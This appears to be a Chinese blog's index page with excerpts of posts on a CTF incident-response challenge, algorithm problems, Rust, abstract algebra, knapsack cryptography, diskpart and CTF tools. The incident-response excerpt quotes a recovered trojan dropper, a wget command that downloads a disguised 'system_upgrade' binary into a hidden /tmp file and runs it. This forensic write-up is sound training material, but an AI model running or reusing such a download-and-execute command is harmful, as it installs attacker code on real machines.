2025长城杯半决赛-应急响应复现
ISW-1
小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取 flag 文件。
题目 1:找出主机上木马回连的主控端服务器 IP 地址[不定时(3~5 分钟)周期性],并以 flag{MD5}形式提交,其中 MD5 加密目标的原始字符串格式 IP:port。
下载镜像,使用 R-Studio 打开
在/home/ubuntu目录下可以看到被删除的1.txt文件
1wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
联想背景中提及的更新操作,再翻看.viminfo查看命令模式下执行的历史命令,可以看到以下文件被更新
12/etc/systemd/system/sy ...
几道算法题解
好久没写算法题了,一写才发现自己真忘光了。还好这几题基本上都是暴力题(
头好痛好想睡觉啊
A-子串分值
第一题一看就有点蒙,读完题发现不难,然后写了个暴力,过了样例,然后很当然的 TLE 了
于是写了个简单的记忆优化,但复杂度还是 O(n2logn)O(n^2logn)O(n2logn) ,所以又爆了
爆两次之后仔细分析了一下,他要求的字符串中总共就 26 个字母,我们不妨从字符出发,求每个字符的贡献度。例如样例是ababc的话,对于第一个a贡献度就是 2,第二个b贡献度就是 4,以此类推。
因为该字符能做出贡献的 substr 中一定只包含一个它,所以我们往左右两边找上一个和下一个它即可。而贡献度 DiD_iDi 的计算方式可由乘法原理得:
Di=(i−l)(r−i)D_i=(i-l)(r-i)
Di=(i−l)(r−i)
也就是左边字符数+1 乘右边字符数+1。而把两个乘数算出来再相乘的复杂度应该是O(n)O(n)O(n),按理说是可以过的
那为什么没过呢,因为我忘记开long long了 XD
代码如下
123456789101112131415161718192021222 ...
Rust学习笔记
声明
笔记均为个人撰写,只用于记录自己学习时遇到的问题等,不定期更新
推荐的 Rust 教程:
Rust 语言圣经(Rust Course)
通过例子学 Rust
Rust 程序设计语言
看新不看旧,Rust 2024 Edition 将在 2025 年 2 月发布,建议在配置环境及后续学习时选用 1.84 及以上的版本
修改 Rust 下载镜像源
Rust 默认镜像源为crates.io,有时下载速度过慢,可换用国内镜像源
在$HOME/.cargo/config.toml添加 ustc 镜像源
12[registries]ustc = { index = "https://mirrors.ustc.edu.cn/crates.io-index/" }
使用稀疏索引
12[source.ustc]registry = "sparse+https://mirrors.ustc.edu.cn/crates.io-index/"
引入依赖时(例如time),在Cargo.toml中添加
12[dependencies]time = ...
抽象代数学习笔记
群论(Group Theory)
群的定义
设 GGG 为非空集合,其上有二元运算⋅:G×G→G\cdot :G \times G \to G⋅:G×G→G,如果它们满足以下性质,则称 (G,⋅)(G,\cdot )(G,⋅)是一个群(group),简称群 GGG:
结合律:∀a,b,c∈G,a⋅(b⋅c)=(a⋅b)⋅c\forall a,b,c \in G,a \cdot (b \cdot c) = (a \cdot b) \cdot c∀a,b,c∈G,a⋅(b⋅c)=(a⋅b)⋅c.
有单位元:∃e∈G,∀a∈G,a⋅e=e⋅a=a\exists e \in G,\forall a \in G,a \cdot e = e \cdot a = a∃e∈G,∀a∈G,a⋅e=e⋅a=a.这里eee被称为群GGG的单位元,也可称作幺元.
有逆元:∀a∈G,∃b∈G,a⋅b=b⋅a=e\forall a \in G,\exists b \in G,a \cdot b=b \cdot a=e∀a∈G,∃b∈G,a⋅b=b⋅a=e.这里bbb被称为aaa的逆元,也可以记作a−1a^{-1 ...
【非对称加密学习笔记】Lattice格密码与LLL格基规约算法
cd59c9baed27feb8819846141c651a093251a1973190ba30f6f08eaf78bf4054160b700ff020d640ce123d5aeaffaf776edc8f68f2d7d4846b0b492bd1ed40167c698b7c9bda7da45f8e97a66c4734871920b3033d8ea832c0ff0439abe35d295c58185f39f990a6538a4e198ca225a0f12b272d0fdd346c44fae1cb184563a1
Hey, password is required here.
【非对称加密学习笔记】Merkle-Hellman加密算法
从背包问题入手
如果你曾经学习过一些算法竞赛知识,你一定不会对“背包”感到陌生。无论是利用贪心算法来解决分数背包问题,还是利用DP来求解0-1背包问题,这些问题里都涉及了“背包”。
背包问题,即假定一个容量为WWW的背包,对于给定的nnn个物品,每个物品的重量依次为a1,a2,...ana_1,a_2,...a_na1,a2,...an,求背包正好可以装入哪些物品。
事实上,我们是在求解下面的方程:
∑i=1nxiai=W\sum_{i=1}^{n}x_ia_i=W
i=1∑nxiai=W
显然xix_ixi的值只能是0或1,即放入或未放入。那么求解这一方程的时间复杂度也是显而易见的 O(2n)\mathcal{O}(2^n)O(2n)。
我们假设所有的xix_ixi构成一个nnn维的向量 X=(x1,x2,...,xn),xi∈{0,1}X=(x_1,x_2,...,x_n),x_i \in \{0,1\}X=(x1,x2,...,xn),xi∈{0,1}。这样,我们就得到了一个二进制向量X。同样地还能得到一个向量 A=(a1,a2,...,an)A=(a_1 ...
Windows下使用diskpart压缩虚拟硬盘
前言
写这篇文章是因为近期在利用binwalk分析二进制固件时出了 bug,(也可能是遇上了zipbomb)。然后 WSL 连接的硬盘被扩了100个G。
WSL 连接的虚拟硬盘大小一般是只增不减的,光删除里面的文件没用。因此要自行手动压缩并指定配额上限。
DiskPart
DiskPart 是 Windows 下的一个实用程序,可以在终端中输入diskpart或者Win+R运行diskpart以打开其命令解释器。
以下为命令列表:
命令
描述
active
将具有焦点的磁盘分区标记为活动。
add
将选中的简单卷镜像到指定磁盘。
assign
给选中的卷分配一个驱动器号或装入点。
attach vdisk
附加(有时称为装载或显露)虚拟硬盘 (VHD),使其在主机计算机上显示为本地硬盘驱动器。
attributes
显示、设置或清除磁盘或卷的属性。
automount
启用或禁用自动装载功能。
break
将选中的镜像卷分为两个简单卷。
clean
从选中的磁盘中删除所有分区或卷格式。
compact vdisk
减小动态扩展虚拟硬盘 (V ...
AI-Jailbreak
74c4b0bf2a00e158708bf81356ba811cd76f6973c5a1797cb10a39c8ce690e07b170444bc0f16f3ca5348db1beeee72ff01f55335c57ce4550574d3b3f4d3efffbb07a98c2215c131818fc3c1370a4c7958f3f52e40f49dac02d2d059cf7c88613f2c251dd6dcdda7fc7e00852cb287d083bb5b734e65566d9702e67774551cf658986cc9327ee14884e5c5e638d00fa28e8fca9d9fb8220f523ce2cb7962cbfbfdd7aaac6dcea119c6a9eac7ef92b2cf629630d87599e3859ad49a84949d1c1545c97376f3acade6f21f4a552874f5a712ece41984e1baafd80b64ecc25bfbbd8e342475cdeb0344391acc07376463c900195f1130393077 ...
CTF常用工具收集
更新于2025-01-15
由于工具实在太多,本页面只给出部分常用的工具。仅供参考。
CTFtools
Categories
Name
Description
Essentials
build-essentials
Debian系Linux发行版必装工具包
Python
CTF中最强大的编程语言
VSCode
最好用的代码编辑器
Docker
开源,轻量且高效的应用容器引擎
Watt Toolkit
用于网络加速服务
VMware Workstation
虚拟机使用与管理
Web
Hackbar
用于发送post数据/伪造等
Wappalyzer
页面技术识别,定位页面框架
Burp Suite
强大的代理发包抓包软件
AntSword
蚁剑,webshell管理,配合一句话木马
sqlmap
自动化sql注入工具,有wizard模式
Xray
自动化Web漏洞扫描器
WPScan
WordPress漏洞扫描器
nmap
端口扫描工具
Fenjing
自动化Jinja SSTI绕过WAF脚本 ...